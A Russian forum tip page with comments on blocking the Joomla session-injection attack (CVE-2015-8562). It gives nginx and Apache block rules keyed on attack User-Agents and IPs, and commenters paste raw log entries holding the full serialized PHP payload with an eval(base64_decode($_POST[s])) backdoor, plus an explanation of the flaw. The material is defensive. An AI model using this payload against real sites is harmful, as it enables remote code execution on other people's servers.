Продолжается [[https://www.opennet.me/opennews/art.shtml?num=43521 массовая атака]] на сайты под управлением Joomla. К сожалению на базе данной CMS в сети много сайтов, администраторы которых не спешат устанавливать обновления. На системах хостинга можно попытаться блокировать типовую автоматизированную атаку централизованно, на стороне сервера.Для блокировки можно заблокировать обращение c User Agent "JDatabaseDriverMysql" и "O:", а также запретить обращение c IP-адресов, с которых зафиксировано проведение атаки.
Пример для nginx:
http {
map $http_user_agent $blocked_ua {
~(?i)JDatabaseDriverMysql 1;
~(?i)O: 1;
default 0;
}
map $remote_addr $blocked_ip {
74.3.170.33 1;
146.0.72.83 1;
194.28.174.106 1;
default 0;
}
server {
listen 80;
if ($blocked_ua) { return 403; }
if ($blocked_ip) { return 403; }
# ...
}
}
Пример для apache httpd:RewriteCond %{REMOTE_ADDR} =74.3.170.33 [OR]
RewriteCond %{REMOTE_ADDR} =146.0.72.83 [OR]
RewriteCond %{REMOTE_ADDR} =194.28.174.106
RewriteRule .* / [F]RewriteCond %{HTTP_USER_AGENT} JDatabaseDriverMysql [OR]
RewriteCond %{HTTP_USER_AGENT} O\:
RewriteRule .* / [F]
URL: https://www.nginx.com/blog/new-joomla-exploit-cve-2015-8562/
Обсуждается: http://www.opennet.me/tips/info/2930.shtml
if ($http_user_agent ~* ".*\{.*")
{
return 403;
}
"отдавать" нужно 444, а не 403. ибо нефиг
> Для блокировки можно заблокировать обращение c User Agent "JDatabaseDriverMysql" и "O:",
> а также запретить обращение c IP-адресов, с которых зафиксировано проведение атаки.Какой-то наивный совет. Можно подумать, что User Agent фиксированный, а атаковать додумаются лишь с трёх адресов из всего интернет.
> Какой-то наивный совет. Можно подумать, что User Agent фиксированный, а атаковать додумаются
> лишь с трёх адресов из всего интернет.Боты пока зафиксированы только с этих адресов, а маска в User Agent это часть кода для атаки. Целевые атаки не рассматриваются, так как защищают таким способом только никому уже не нужные протухшие сайты, интересные только ботам.
слушайте, а если в логах заход с таким UserAgent был - как проверить, установлен ли шелл или т.п. вредоносные мероприятия? патч сразу был поставлен, .htaccess поправлен, следующие попытки - 403, но 1-2-то пролезли...
обновился вовремя, но присоеденюсь к вопросу
строки в логе следующие:
\x22JDatabaseDriverMysqli\x22:3:{s:2:\x22fc\x22;O:17:\x22JSimplepieFactory\x22:0:{}s:21:\x22\x5C0\x5C0\x5C0disconnectHandlers\x22;a:1:{i:0;a:2:{i:0;O:9:\x22SimplePie\x22:5:{s:8:\x22sanitize\x22;O:20:\x22JDatabaseDriverMysql\x22:0:{}s:8:\x22feed_url\x22;s:57:\x22eval(base64_decode($_POST[s]));JFactory::getConfig();exit\x22;s:19:\x22cache_name_function\x22;s:6:\x22assert\x22;s:5:\x22cache\x22;b:1;s:11:\x22cache_class\x22;O:20:\x22JDatabaseDriverMysql\x22:0:{}}i:1;s:4:\x22init\x22;}}s:13:\x22\x5C0\x5C0\x5C0connection\x22;b:1;}\xF0\xFD\xFD\xFD"
и
\x22JDatabaseDriverMysqli\x22:3:{s:2:\x22fc\x22;O:17:\x22JSimplepieFactory\x22:0:{}s:21:\x22\x5C0\x5C0\x5C0disconnectHandlers\x22;a:1:{i:0;a:2:{i:0;O:9:\x22SimplePie\x22:5:{s:8:\x22sanitize\x22;O:20:\x22JDatabaseDriverMysql\x22:0:{}s:8:\x22feed_url\x22;s:102:\x22eval(base64_decode(str_rot13(strrev(base64_decode(str_rot13($_POST[s]))))));JFactory::getConfig();exit\x22;s:19:\x22cache_name_function\x22;s:6:\x22assert\x22;s:5:\x22cache\x22;b:1;s:11:\x22cache_class\x22;O:20:\x22JDatabaseDriverMysql\x22:0:{}}i:1;s:4:\x22init\x22;}}s:13:\x22\x5C0\x5C0\x5C0connection\x22;b:1;}\xF0\xFD\xFD\xFD"расшифруйте, кто знает
Фиксирую эпизоды атаки на сайты при помощи внедрения вышеописанного эксплоита в HTTP заголовок "x_forwarded_for".
ip адреса с которых идет атака разные
46.45.183.142
178.76.225.33
112.184.95.6
202.142.105.229
91.214.84.166
95.135.182.10
93.168.108.29
89.147.250.103
105.227.191.131
122.179.67.16
весь интернет не заблокируешь
> весь интернет не заблокируешьifconfig eth0 down;
# halt
>ifconfig eth0 down;Для параноидального режима
iptables -P INPUT DROP
poweroff
>ifconfig eth0 down;ifdown eth0
# ifdown eth0
sh: ifdown: Command not found
а всё таки, гуру просветлённые с недюжинным ч.ю., есть ответ? в логах следы есть, файлов изменённых в папке сайта нет. куда ещё копать, где проверить?
Оналогично, дружище. Всё проверил, ничего не нашёл. Что делает эта строка, кто-нибудь может описать?
произвольный код исполняется... вебшеллы не залили, лишних пользователей в джумлу не добавили - уже хорошо...====
В коде обработчика сессий Joomla пристутствует уязвимость, которая позволяет осуществить внедрение строки в синтаксис сериализованной сессии через HTTP-заголовки User-Agent и X-Forwarded-For. Эксплоит использует особенность MySQL при обработке utf8-символов из диапазона U+010000 — U+10FFFF. При вставке строки, в конце которой присутствует такой символ, MySQL обрежет данные. Это позволяет сформировать и записать в таблицу сессий строку, в которой присутствуют пользовательские PHP-объекты, без нарушения синтаксиса. В ходе десериализации сессии атакующего вызываются деструкторы классов Joomla, что ведет к выполнению произвольного кода
====